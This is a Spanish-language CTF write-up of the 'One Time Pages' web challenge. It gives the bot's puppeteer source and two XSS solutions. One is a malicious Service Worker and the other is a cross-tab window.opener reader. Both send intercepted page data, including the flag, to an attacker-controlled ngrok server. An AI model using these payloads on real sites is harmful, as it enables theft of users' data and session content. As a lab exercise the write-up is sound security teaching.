One Time Pages
4 minutos de lectura
Tenemos un sitio web para crear notas y compartirlas con una URL única:
También hay un bot en este reto, se nos proporciona el siguiente archivo bot.js
:
import puppeteer from "puppeteer";
const FLAG = process.env.FLAG ?? console.log("No flag") ?? process.exit(1);
export const APP_URL = `https://hackon-one-time-pages.chals.io/`;
const sleep = async (s) => new Promise((resolve) => setTimeout(resolve, s * 1000));
export const visit = async (id) => {
const url = APP_URL + id
console.log(`start: ${url}`);
const browser = await puppeteer.launch({
headless: true,
executablePath: "/usr/bin/chromium",
args: [
"--no-sandbox",
"--disable-dev-shm-usage",
"--disable-gpu",
'--js-flags="--noexpose_wasm"',
],
});
const context = await browser.createBrowserContext();
try {
const page = await context.newPage();
await page.goto(url, { timeout: 2000 });
await sleep(1);
await page.goto(APP_URL, { timeout: 2000 });
await page.type('#textarea', FLAG);
await page.click('#submit');
await sleep(2);
await page.waitForSelector('input[type="text"]');
const noteUrl = await page.$eval('input[type="text"]', el => el.value);
await page.goto(noteUrl, { timeout: 2000 });
await sleep(2);
await page.close();
} catch (e) {
console.error(e);
}
await context.close();
await browser.close();
console.log(`end: ${url}`);
}
Análisis del código fuente
El bot hace lo siguiente:
- Recibe el ID de una nota existente en la aplicación web
- Visita esa página
- Luego abre la aplicación web y genera una nota con la flag
- Finalmente, abre esta nota
La aplicación web es muy simple:
- Se nos permite insertar HTML arbitrario, incluyendo las etiquetas
script
- El formulario es manejado por JavaScript usando
fetch
- La URL de la nota contiene un UUID, que no es predecible
- La página de notas simplemente representa el contenido de la nota, tal cual está
Solución
Necesitamos encontrar una manera de ver la flag insertada por el bot, incluso aunque nuestra nota controlada ya no sea visible.
El bot usa la misma pestaña para navegar a nuestra nota, a la aplicación web y a la nota de la flag. Un simple ataque de Cross-Site Scripting (XSS) fallará porque cuando el bot visita otra URL, la ejecución de JavaScript se detendrá.
Hay dos formas de obtener la flag:
La vía Service Worker
Hay una característica de JavaScript llamada Service Worker que permite que un sitio web registre un código que se ejecutará en segundo plano, incluso si el sitio web ya no es visible. La documentación de MDN dice:
Los Service workers actúan esencialmente como proxy servers asentados entre las aplicaciones web, el navegador y la red (cuando está accesible). Están destinados, entre otras cosas, a permitir la creación de experiencias offline efectivas, interceptando peticiones de red y realizando la acción apropiada si la conexión de red está disponible y hay disponibles contenidos actualizados en el servidor. También permitirán el acceso a notificaciones tipo push y APIs de sincronización en segundo plano.
Entonces, es perfecto para este reto. Para resolverlo, debemos crear una nota con el código JavaScript que contiene la lógica del Service Worker:
self.addEventListener('fetch', async event => {
let flag = await event.request.clone().json()
fetch('https://abcd-12-34-56-78.ngrok-free.app', {
body: flag,
method: 'post',
})
})
Esta lógica interceptarel evento fetch
, toma el cuerpo de la petición y lo envía a un servidor controlado expuesto por ngrok
. Para más información, véase este blogpost.
Y el bot visitará la siguiente página, la que registra al Service Worker:
<!doctype html>
<html lang="en">
<head>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>asdf</title>
</head>
<body>
<script>
navigator.serviceWorker.register('/1735c596-7c86-4099-b452-c3d2e1b5e929').then(() => {
console.log('Service Worker Registered!')
})
</script>
</body>
</html>
La vía tabnabbing
Hay otro enfoque, relacionado con el ataque tabnabbing, que hace que el navegador vaya a una página modificada después de que la página haya quedado desatendida durante algún tiempo.
No haremos un ataque de tabnabbing como tal, porque el bot no se navega a otra pestaña. Sin embargo, el ataque de tabnabbing funciona porque una página abre otra página en una nueva pestaña, y esta nueva página puede leer/escribir contenido de/en la página inicial.
Las mitigaciones web modernas no permiten que las pestañas modifiquen otras pestañas del mismo dominio, que yo sepa. Pero solo necesitamos leer contenido, y eso está permitido.
Entonces, la idea es crear una nota que abra otra nota en una nueva pestaña. Esta nota podrá leer desde la primera pestaña, incluso si la URL cambia (siempre que sea el mismo origen).
Por lo tanto, crearemos esta página HTML para monitorizar la primera pestaña cada 500 milisegundos. Una vez que encontremos una coincidencia con HackOn{
, tendremos la flag y nos la enviaremos a nuestro servidor controlado:
<!doctype html>
<html lang="en">
<head>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>asdf</title>
</head>
<body>
<script>
setInterval(() => {
const text = window.opener.parent.document.body.textContent
if (text.includes('HackOn{')) {
fetch('https://abcd-12-34-56-78.ngrok-free.app', {
body: text,
method: 'post',
})
}
}, 500)
</script>
</body>
</html>
Y esta es la página que el bot tiene que visitar, la que abre la página anterior en una nueva pestaña:
<!doctype html>
<html lang="en">
<head>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>asdf</title>
</head>
<body>
<script>
setTimeout(() => window.open('/9b236a58-1d27-1478-f413-e3e7fdb4e145'), 500)
</script>
</body>
</html>
Flag
Con cualquiera de estos enfoques, obtendremos la flag en el servidor controlado expuesto por ngrok
:
HackOn{service_workers_ftw_D6yCIiMQtd_-usFoAMxs8QPCYE16i_Ka_Y2rtlfVIcLglJXU0Ahsdo91Qeg5-1gidcsU77h60iapZ6eBval4uDwyUjgNFEUrDA}